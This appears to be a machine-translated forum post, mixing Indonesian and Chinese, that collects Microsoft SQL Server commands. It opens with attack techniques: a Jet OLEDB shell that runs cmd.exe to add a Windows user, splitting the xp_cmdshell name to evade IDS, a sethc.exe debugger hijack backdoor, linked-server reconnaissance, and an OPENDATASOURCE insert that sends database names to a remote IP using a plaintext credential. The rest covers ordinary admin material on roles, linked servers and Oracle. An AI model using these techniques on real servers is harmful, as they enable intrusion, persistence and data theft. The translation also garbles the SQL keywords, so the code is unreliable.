          Ketika izin MDB salah,
           Server: Hilangkan

Bunga 7320, Tingkat 16, Negara Bagian 2, Baris 1

Dia tidak bisa menjawab
Penyedia OLE DB 'Microsoft.Jet.OLEDB.4.0' mengeksekusi kueri.
           [Penyedia OLE/DB dikembalikan

message: 未知]
           Pelacakan Kesalahan OLE DB [Penyedia OLE/DB 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Jika izin bersih salah, tidak ada perintah.

Cara terakhir untuk meningkatkan otoritas adalah dengan mengunggah ias.mdb dan cmd.exe sistem di bawah direktori web saat ini, net.exe tiga file.

Jalankan select * dari openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','pilih shell

("E:\web\cmd.exe /c E:\web\net.exe pengguna pengguna passwd /add")')
          Berhasil menambahkan pengguna komputer.






Memisahkan cmdshell melewati IDS         
Deklarasikan @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
menyatakan

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Edit pergeseran pembajakan registri
master eksekutif .. xp_regwrite 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Mengkueri server tautan
pilih

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,akses data dari master.dbo.sysserver
pilih

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,akses data dari master.dbo.sysserver



Kueri linkserver2
Pilih nama host yang berbeda, db_name(dbid),net_address, loginame,program_name dari

Menguasa.. sysprocesses



Mengkueri server tautan
dan pengguna login lainnya
Pilih * dari [192.168.1.1].master.dbo.syslogins



server tautan kueri
Semua database
pilih * dari linkedSrvWeb.master.dbo.sysdatabases



Melakukan penyimpanan yang diperluas di LinkServer
Eksekutif [IP].master.dbo.xp_cmdshell



Mengkueri semua tabel di linkserver
Pilih * dari [ip].master.dbo.sysobjects








Pilih * dari OpenRowSet

('sqloledb','server=IP; uid=pengguna; pwd=kata sandi','pilih @@version')


pilih * dari openquery([LINKSERVER

name],'pilih @@version')




pilih * dari openquery(NDOORS,'pilih IS_SRVROLEMEMBER(''sysadmin'')')




pilih * dari openquery(GM_SERVER,'pilih * dari sysobjects di mana xtype = (''U'')')


Pilih * dari

openquery(NDOORS,'Pilih IS_MEMBER(''db_owner'')')




Pilih * dari OpenQuery(ToatdeWeb,'Pilih

srvname dari master.dbo.sysservers')


Masukkan ke OpenDataSource

('sqloledb','server=222.241.95.12; uid = scd; PWD=A123520; database=hack520').hack520.dbo.zhu pilih

Nama dari master.dbo.sysdatabases
buat database hack520 Buat TABEL zhu(nama nvarchar(256)

null); Buat TABEL J8(id int NULL,nama nvarchar(256) null);


Pilih * dari OpenQuery

(toatdeweb,'atur fmtonly dari exec master.dbo.xp_cmdshell ''pengguna internet''')


master eksekutif .. xp_dirtree

'c:\',1,1
Melakukan direktori kueri


tautan eksekutif.master.. xp_cmdshell 'ipconfig'


Pilih * dari OpenQuery(ToatdeWeb,'Set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Hubungkan mysql Select * dari Mem_DB. UserDB.dbo.AdminList


MASTER EXEC .. XP_dirtree 'c:\',1,1




Eksekutif

master.dbo.xp_cmdshell 'dir '


Pilih count(*) dari [tunjukkan]
Mengkueri berapa banyak data dalam tabel saat ini




Pilih nama host yang berbeda, db_name(dbid),net_address, loginame, program_name

dari master.. sysprocesses






Pilih * dari gameDB01. Server01.dbo.cabal_character_table di mana name='

Babi'





Saat Anda menghapusnya, tertulis: Database sedang digunakan dan tidak dapat dihapus.


Klik database yang ingin Anda hapus untuk membuka Penampil Peristiwa.


Masukan:


penggunaan   

menguasai
pergi
Kemudian masukkan yang berikut ini:
Menyatakan @d varchar(8000)
atur @d= ' '
Pilih @d=@d+ ' Kill   

'+cast(spid sebagai varchar)+char(13)
dari master.. sysprocesses di mana dbid=db_id('nama pustaka')
eksekutif (@d)
--
Gunakan kode untuk menghapus proses yang terhubung ke database ini terlebih dahulu












MSSQL mengoperasikan Oracle melalui LinkServer






1) Instal Oracle di server SQL_SERVER 2005

9i klien. Misalkan instal ke direktori C:\ora92i\. Jika D: adalah partisi NTFS, Anda perlu mengatur direktori yang diinstal ORACLE sebagai yang digunakan

Pelanggan memiliki hak untuk menjalankan, menambahkan, dan menghapus.


2)
Konfigurasikan file C:\ora92i\network\ADMIN\tnsnames.ora. (Teks merah berikut adalah contoh konfigurasi)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ALAMAT = (PROTOKOL = TCP)(HOST = 192.168.0.11)(PORT = 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Jalankan perintah berikut dalam mode DOS untuk mengonfirmasi bahwa klien ORACLE diinstal dengan benar.


Pengguna/password@ORCL SQL Plus


4)
Buka Mulai - Panel Kontrol - Layanan dan konfirmasikan bahwa layanan Koordinator Transaksi Terdistribusi dimulai.



5) Buka SQL SERVER Management Studio, Nama Instans (ORCL) - Objek Server (klik kanan) - Server Koneksi Baru.


1.      


Server tautan: Tulis nama server yang ditautkan, seperti OracleTest


2.         
Jenis server, pilih sumber data yang berbeda


3. Antarmuka Akses:
Pilih Penyedia Oracle untuk OLE DB


4. Nama Produk: Tulis Oracle


5. Sumber data: Tulis

Nama layanan yang dikonfigurasi dalam file tnsnames.ora, seperti ORCL


6.         
Akses string antarmuka: userid=sys sebagai sysdba; kata sandi = kata sandi


7.         
Pada halaman Pilih Opsi Keamanan, gunakan konteks penginstalan ini untuk membuat koneksi:


a) Login Jarak Jauh: pengguna (pengguna lain, bukan sys)


b)      

    Gunakan kata sandi: kata sandi


8. Atur "NT AUTHORITY\SYSTEM" pada login lokal, sistem pengguna jarak jauh, dan atur kata sandi


9.

         Kamu yakin


6) Ada dua cara untuk menulis SQL


a) Menggunakan sintaks T-SQL:


           PILIH * DARI

OraTest.ERP.BAS_ITEM_CLASS


           Perhatikan bahwa saat memasukkan pernyataan SQL di SQL Query Analyzer, perhatikan peralihan lebar penuh dan setengah lebar Cina

cara!


b) Gunakan sintaks PLSQL:
           PILIH * DARI openquery(OraTest,'PILIH * DARI

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Metode akses kedua sekitar 50% lebih cepat dari yang pertama; Metode akses kedua terhubung langsung

ORACLE sebanding; Metode akses pertama dapat menyebabkan beberapa kesalahan yang tidak terduga, seperti:
           Tabel tidak ada, atau pengguna saat ini

Tidak ada akses ke meja, dan seterusnya.


           d) Jika kolom yang perlu diakses menggunakan tipe data tanpa presisi, keduanya

Ini adalah bug ORACLE yang tidak dapat diperbaiki, dan hanya dapat dihindari dengan penanganan khusus pernyataan kueri:


     Metadata yang disediakan oleh penyedia OLE DB 'OraOLEDB.Oracle' untuk kolom tidak konsisten. Informasi metadata diubah pada saat eksekusi.










MSSQL ditambahkan

Hapus pengguna dan berikan izin


Gunakan nama perpustakaan Anda   
pergi   
--Tambahkan pengguna   
exec sp_addlogin 'test' -- tambahkan login   
eksekutif

sp_grantdbaccess N'test' - menjadikannya pengguna yang sah dari database saat ini   
eksekutif sp_addrolemember N'db_owner',

N'test' - memberikan semua izin ke database mereka sendiri   
--Ini menciptakan pengguna yang hanya dapat mengakses database mereka sendiri dan apa yang termasuk dalam database

Tabel publik untuk pengguna tamu   
pergi   
--Hapus pengguna uji   
exec sp_revokedbaccess N'test' -- Hapus akses ke database

Batas   
exec sp_droplogin N'test' -- hapus login   
Jika Anda membuatnya di Enterprise Manager, gunakan:   
Manajer Perusahaan - Keamanan

Seks --Klik kanan Login--Login Baru   
Item umum   
--Masukkan nama pengguna dalam nama   

--Metode otentikasi dipilih sesuai dengan kebutuhan Anda (jika Anda menggunakan otentikasi Windows, Anda perlu membuat pengguna baru di antara pengguna sistem operasi terlebih dahulu)   

--Dalam pengaturan default, pilih nama database yang ingin Anda akses untuk pengguna baru   
Item peran server   
Jangan memilih apa pun dalam hal ini   
basis data

Item akses   
Periksa nama database yang ingin Anda akses untuk pengguna yang Anda buat   
Izinkan dalam peran database, centang "publik", "db_ownew"   
Tentu, ini

Pengguna yang dibuat oleh sampel sama dengan pengguna yang dibuat oleh pernyataan di atas   



Langkah terakhir adalah mengatur izin akses khusus untuk pengguna tertentu, yang dapat dirujuk ke contoh minimal berikut:   

--Tambahkan pengguna yang hanya diizinkan untuk mengakses tabel yang ditentukan:   
exec sp_addlogin 'nama pengguna', 'kata sandi', 'nama database default'   

--add ke database   
exec sp_grantdbaccess 'nama pengguna'   

--Tetapkan izin seluruh tabel   
BERIKAN PILIH , SISIPKAN , PERBARUI , HAPUS PADA tabel1 KE [nama pengguna]   
--Tetapkan izin ke kolom tertentu   
BERIKAN PILIH , PERBARUI PADA tabel1(id,AA) KE [nama pengguna]   


Untuk pengaturan keamanan khusus dan pengetahuan teoretis, silakan lihat Bantuan SQL Online  







Deskripsi peran database tetap   
  db_owner Memiliki izin penuh dalam database.   

db_accessadmin Anda dapat menambahkan atau menghapus ID pengguna.   

db_securityadmin Dapat mengelola izin penuh, kepemilikan objek, peran, dan keanggotaan peran.   

db_ddladmin dapat menerbitkan SEMUA DDL, tetapi tidak MEMBERIKAN, CABUT, atau MENOLAK pernyataan.   

db_backupoperator dapat mengeluarkan pernyataan DBCC, CHECKPOINT, dan BACKUP.   

db_datareader Anda dapat memilih semua data dari tabel pengguna mana pun dalam database.   

db_datawriter Anda dapat mengubah semua data di tabel pengguna mana pun dalam database.   

db_denydatareader Anda tidak dapat memilih data apa pun dari tabel pengguna mana pun dalam database.   

db_denydatawriter Anda tidak dapat mengubah data apa pun di tabel pengguna mana pun dalam database.  





Anda harus memilih db_datareader, db_datawriter, db_accessadmin




5.
Setelah instans SQL Server dimulai dalam mode pengguna tunggal, akun administrator Windows dapat menggunakan alat sqlcmd untuk terhubung dalam mode autentikasi Windows

SQL Server。 Anda dapat menggunakan perintah T-SQL seperti "sp_addsrvrolemember" untuk menambahkan login yang ada ke peran server sysadmin

atau buat akun login baru.
Contoh pernyataan adalah sebagai berikut:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


PERGI


Menambahkan hak istimewa sysadmin








(1) Kelola peran server


Di SQL Server, ada dua prosedur tersimpan utama yang mengimplementasikan manajemen peran SQL Server:


sp_addsrvrolemember

dan sp_dropsrvrolemember


sp_addsrvrolemember
Anda dapat menambahkan akun login ke peran server untuk menjadikannya anggota peran server tersebut. Sintaksnya adalah sebagai berikut:
sp_addsrvrolemember

login , peran


sp_dropsrvrolemember
Anda dapat menghapus akun login dari peran server, dan ketika anggota dihapus dari peran server, ia tidak lagi memiliki peran server tersebut

Izin ditetapkan. Sintaksnya adalah sebagai berikut:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


ke dalamnya

@loginname adalah nama pengguna yang masuk; @rolename adalah peran server.




(2) Kelola peran database


Di SQL Server, manajemen database didukung

Ada enam jenis utama prosedur tersimpan, dan arti spesifik serta sintaksnya adalah sebagai berikut:


sp_addrole: Digunakan untuk membuat peran database baru;
sp_addrole

peran, pemilik


sp_droprole: Digunakan untuk menghapus peran database dari peran database saat ini;
sp_droprole peran


sp_helprole:

Ini digunakan untuk menampilkan semua informasi tentang semua peran database dalam database saat ini;
sp_helprole ['peran']


sp_addrolemember: Digunakan untuk mengirim ke database

Tambahkan pengguna database ke peran, yang dapat berupa peran standar yang ditentukan pengguna atau peran database tetap, tetapi tidak dapat

Peran aplikasi.
sp_addrolemember peran, security_account


sp_droprolemember: Digunakan untuk menghapus karakter tertentu

rumah tangga;
sp_droprolemember peran, security_account


sp_helprolemember: Digunakan untuk menampilkan semua anggota peran database


sp_helprolemember ['peran']






Kueri MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Penulis :

htl258(Tony)
-- Tanggal : 2010-06-25 22:23:18
-- Versi: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 Juli 2008 14:43:34
-- Hak Cipta (c) 1988-2008 Microsoft Corporation
--

Edisi Pengembang di Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Subjek:
Operasi data SQL antara database server yang berbeda
----------------------------------------------------------------------------------
--1.
Membuat server tautan
--1.1 Buat nama tautan
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', nama server jarak jauh

atau alamat IP' --
Jika Anda memiliki nama instans kustom, tambahkan "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Buat login (atau buat peta login server tautan) (cukup pilih satu cara)
--1.2.1
Masuk dengan autentikasi Windows
EXEC sp_addlinkedsrvlogin 'LinkName'
--atau EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Masuk dengan autentikasi SQL
EXEC sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Tautkan operasi data terkait server
--2.1 Contoh kueri
PILIH * DARI LinkName.nama database.nama skema.nama tabel
/*例如:SELECT *

DARI TonyLink.Mydb.dbo.tb */
--
2.2 Contoh impor
PILIH * KE dalam nama tabel DARI LinkName.nama database.nama skema.nama tabel
/*例如:SELECT * INTO Newtb

DARI TonyLink.Mydb.dbo.tb */
--
2.3 Contoh pembaruan
UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Orang='g' DI MANA Orang='a' */
--
2.4 Hapus contoh
HAPUS LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WHERE Persons='g' */
--3 melalui fungsi rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metode
-
3.1 Metode OPENQUERY (membutuhkan bantuan server tautan yang baru saja Anda buat):
--
3.1.1 Contoh kueri
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. nama tabel')
/*
Misalnya: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Contoh Impor
--3.1.2.1 Impor semua kolom
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. Nama tabel

') PILIH * DARI tabel lokal
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

DARI TB */
--3.1.2.2
Mengimpor kolom yang ditentukan
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. nama tabel') (kolom, kolom...)
kolom PILIH,

Kolom... DARI tabel lokal
/*
Misalnya: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
PILIH

RENTANG,LEVEL,Orang DARI TB
*/
--3.1.3
Contoh pembaruan
UPDATE OPENQUERY(LinkName, 'PILIH * DARI nama database. Nama arsitektur. nama tabel') SET bidang = 'nilai' kata WHERE

Segmen = 'Kondisi'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Orang='a' */
--3.1.4
Hapus contoh
DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. nama tabel') WHERE nama bidang = 'kondisi'
/*例

Misalnya: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET (Anda tidak perlu menggunakan nama tautan yang dibuat.) Jika nama instans yang terhubung bukan default, Anda perlu mengaturnya dalam nama server sql atau alamat IP.

"\nama instans")
--3.2.1 Contoh kueri
--3.2.1.1
Kueri metode autentikasi Windows (salah satu metode berikut sudah cukup)
PILIH * DARI OPENROWSET('SQLOLEDB', 'server=nama server sql atau

Alamat IP; Trusted_Connection=ya', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI OPENROWSET('SQLNCLI',

'server=nama server sql atau alamat IP; Trusted_Connection=ya', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI

OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; Trusted_Connection=ya','PILIH * DARI database

Nama. Nama arsitektur. nama tabel')
PILIH * DARI OPENROWSET('SQLNCLI', 'server=nama server sql atau alamat IP

Alamat; Trusted_Connection=yes','PILIH * DARI nama database. Nama arsitektur. nama tabel')
/*
Misalnya: PILIH * DARI OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ya',Mydb.dbo.tb)

Atau: PILIH * DARI OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ya',Mydb.dbo.tb)

Atau: PILIH * DARI OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ya','PILIH *

DARI Mydb.dbo.tb')

Atau: PILIH * DARI OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ya','PILIH *

DARI Mydb.dbo.tb')
*/
--3.2.1.2 Kueri Metode Otentikasi SQL (Salah satu metode berikut sudah cukup)
PILIH * DARI OPENROWSET

('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI

OPENROWSET('SQLNCLI', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi','PILIH *

DARI nama database. Nama arsitektur. nama tabel')
PILIH * DARI OPENROWSET('SQLNCLI', 'server=nama server sql atau alamat IP; uid=

Nama pengguna; pwd=password','PILIH * DARI nama database. Nama arsitektur. nama tabel')
PILIH * DARI OPENROWSET('SQLOLEDB', 'sql

nama server'; 'nama pengguna'; 'kata sandi', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI OPENROWSET('SQLNCLI', 'NAMA SERVER SQL

'; 'nama pengguna'; 'kata sandi', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI OPENROWSET('SQLOLEDB', 'NAMA SERVER SQL'; ' pengguna

nama'; 'Kata Sandi', 'PILIH * DARI nama database. Nama arsitektur. nama tabel')
PILIH * DARI OPENROWSET('SQLNCLI', 'server sql

nama'; 'nama pengguna'; 'Kata Sandi', 'PILIH * DARI nama database. Nama arsitektur. nama tabel')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)
Atau: PILIH * DARI OPENROWSET

('SQLNCLI','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)
Atau: PILIH * DARI OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123','PILIH * DARI Mydb.dbo.tb')

atau: PILIH * DARI OPENROWSET('SQLNCLI','server=192.168.58.208; uid = sa; pwd=123','PILIH * DARI

Mydb.dbo.tb')

atau: PILIH * DARI OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123',mydb.dbo.tb)

atau: PILIH * DARI OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123',mydb.dbo.tb)

atau: PILIH * DARI OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','PILIH * DARI Mydb.dbo.tb')

atau: PILIH * DARI OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','PILIH * DARI Mydb.dbo.tb')
*/
--3.2.2 Contoh impor
--3.2.2.1 Impor semua kolom
SISIPKAN OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP

Alamat; uid=nama pengguna; pwd=password', nama database. Nama arsitektur. Nama tabel)
PILIH * DARI tabel lokal
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)
PILIH * DARI TB
*/
--3.2.2.2 Impor

Menentukan kolom
SISIPKAN OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. rak

Nama konstruksi. nama tabel) (kolom, kolom...)
PILIH kolom, kolom... DARI tabel lokal
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)(RENTANG,LEVEL,Orang)
PILIH

RENTANG,LEVEL,Orang DARI TB
*/
--Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .2.1, cukup ganti fungsi OPENROWSET

Isinya cukup.
--3.2.3 Contoh pembaruan
PERBARUI OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna

;p wd=password', nama database. Nama arsitektur. Nama tabel)
Bidang SET = 'nilai'
WHERE = 'kondisi'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)
SET Orang='g'
WHERE Persons = 'a'
*/
--Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .2.1, cukup ganti konten di OPENROWSET.
--3.2.4 Hapus indikasi

Contoh
HAPUS OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. Nama skema

.nama tabel)
WHERE nama bidang = 'kondisi'
/*
Misalnya: HAPUS OPENROWSET('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)
TEMPAT

Orang='g'
*/
--Catatan:
Untuk metode alternatif lainnya, lihat contoh kueri .2.1, cukup ganti konten di OPENROWSET.
--3.3 Metode OPENDATASOURCE

(Anda tidak perlu menggunakan nama tautan yang dibuat.) Jika nama instans koneksi bukan default, Anda perlu menambahkan nama \instance setelah nama server sql atau alamat IP

")
--3.3.1
Contoh kueri
--3.3.1.1 Kueri Metode Otentikasi Windows (Salah satu metode berikut sudah cukup)
PILIH * DARI OPENDATASOURCE('SQLOLEDB',

'server=nama server sql atau alamat IP; Trusted_Connection=ya'). Nama database. Nama arsitektur. Nama tabel
PILIH * DARI

OPENDATASOURCE('SQLNCLI', 'server=nama server sql atau alamat IP; Trusted_Connection=ya'). Nama database. Nama arsitektur.

Nama tabel
/*
Misalnya: PILIH * DARI OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ya'). Mydb.dbo.tb

Atau: PILIH * DARI OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ya'). Mydb.dbo.tb
*/
--3.3.1.2
Kueri metode autentikasi SQL (salah satu metode berikut sudah cukup)
PILIH * DARI OPENDATASOURCE('SQLOLEDB', 'server=sql nama server atau

Alamat IP; uid=nama pengguna; pwd=kata sandi').
Nama database. Nama arsitektur. Nama tabel
PILIH * DARI OPENDATASOURCE('SQLNCLI', 'server=nama server sql atau alamat IP; uid=pengguna

Nama; pwd=kata sandi').
Nama database. Nama arsitektur. Nama tabel
PILIH * DARI OPENDATASOURCE('SQLOLEDB', 'Sumber Data=nama server sql atau alamat IP

Alamat; uid=nama pengguna; pwd=kata sandi').
Nama database. Nama arsitektur. Nama tabel
PILIH * DARI OPENDATASOURCE('SQLNCLI', 'Sumber Data=nama server sql atau alamat IP

Alamat; uid=nama pengguna; pwd=kata sandi').
Nama database. Nama arsitektur. Nama tabel
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb

Atau: PILIH * DARI OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb

Atau: PILIH * DARI OPENDATASOURCE('SQLOLEDB','Data

Sumber=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb

Atau: PILIH * DARI OPENDATASOURCE('SQLNCLI','Data

sumber=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
*/
Mengimpor semua kolom
MASUKKAN OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi').

Sesuai dengan nama perpustakaan. Nama arsitektur. Nama tabel
PILIH * DARI tabel lokal
/*
Misalnya: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
PILIH

* DARI TB
*/
--3.3.2.2
Mengimpor kolom yang ditentukan
MASUKKAN OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi').

Sesuai dengan nama perpustakaan. Nama arsitektur. Nama tabel (kolom, kolom...)
PILIH kolom, kolom... DARI tabel lokal
/*
Misalnya: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb

(RENTANG, LEVEL, Orang)
PILIH RENTANG,TINGKAT,Orang DARI TB
*/
--Catatan:
Untuk metode alternatif lainnya, lihat contoh kueri .3.1, cukup ganti konten dalam fungsi set baris (OPENDATASOURCE).
--3.3.3 Contoh pembaruan
PERBARUI OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi').
Nama database. Nama arsitektur. Nama tabel
Bidang SET = 'nilai'
WHERE = 'kondisi'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
SET Orang='g'
WHERE Persons = 'a'
*/
--Catatan:
Untuk metode alternatif lainnya, lihat contoh kueri .3.1, cukup ganti konten dalam fungsi set baris (OPENDATASOURCE).
--3.3.4 Hapus contoh
HAPUS OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi').
Nama database. Nama arsitektur. Nama tabel
WHERE nama bidang = 'kondisi'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
WHERE Orang='g'
*/
- Catatan: Lebih banyak alternatif

Lihat contoh kueri .3.1, cukup ganti konten dalam fungsi kumpulan baris (OPENDATASOURCE).
--
Menghapus metode server tertaut
--Jika Anda tidak lagi menggunakan informasi tautan di masa mendatang, Anda dapat menghapus informasi tautan
--4.1
Hapus informasi login (atau hapus peta nama login server tertaut)
EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/*
Misalnya: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Menghapus nama server yang ditautkan
EXEC sp_dropserver 'LinkName','droplogins' -- jika droplogins ditentukan,
Peta login harus dihapus sebelum menghapus server yang ditautkan
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Terlampir


Cara mendapatkan Nama Penyedia (master EXEC.). xp_enum_oledb_providers)
PILIH CAST([Nama Penyedia] SEBAGAI

VARCHAR(30)) Nama Penyedia,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
DARI

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ya',
'ANGKAT FMTONLY;
EKSEKUTIF

Menguasa.. xp_enum_oledb_providers'
)




Mantan:Proses penanganan kerentanan UCloud dan detail hadiah
Depan:Saya bisa naik kereta pulang hari ini, dan saya belum pulang selama lebih dari setengah tahun
Diposting pada 27/09/2017 17.43.11 |
Terima kasih yang sangat rinci
 Tuan tanah| Diposting pada 17/06/2023 11.12.11 |
Uji pengujian injeksi SQL dengan alat infiltrasi SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Sanggahan:
Semua perangkat lunak, materi pemrograman, atau artikel yang diterbitkan oleh Code Farmer Network hanya untuk tujuan pembelajaran dan penelitian; Konten di atas tidak boleh digunakan untuk tujuan komersial atau ilegal, jika tidak, pengguna akan menanggung semua konsekuensi. Informasi di situs ini berasal dari Internet, dan sengketa hak cipta tidak ada hubungannya dengan situs ini. Anda harus sepenuhnya menghapus konten di atas dari komputer Anda dalam waktu 24 jam setelah pengunduhan. Jika Anda menyukai program ini, harap dukung perangkat lunak asli, pembelian pendaftaran, dan dapatkan layanan asli yang lebih baik. Jika ada pelanggaran, silakan hubungi kami melalui email.

Mail To:help@itsvse.com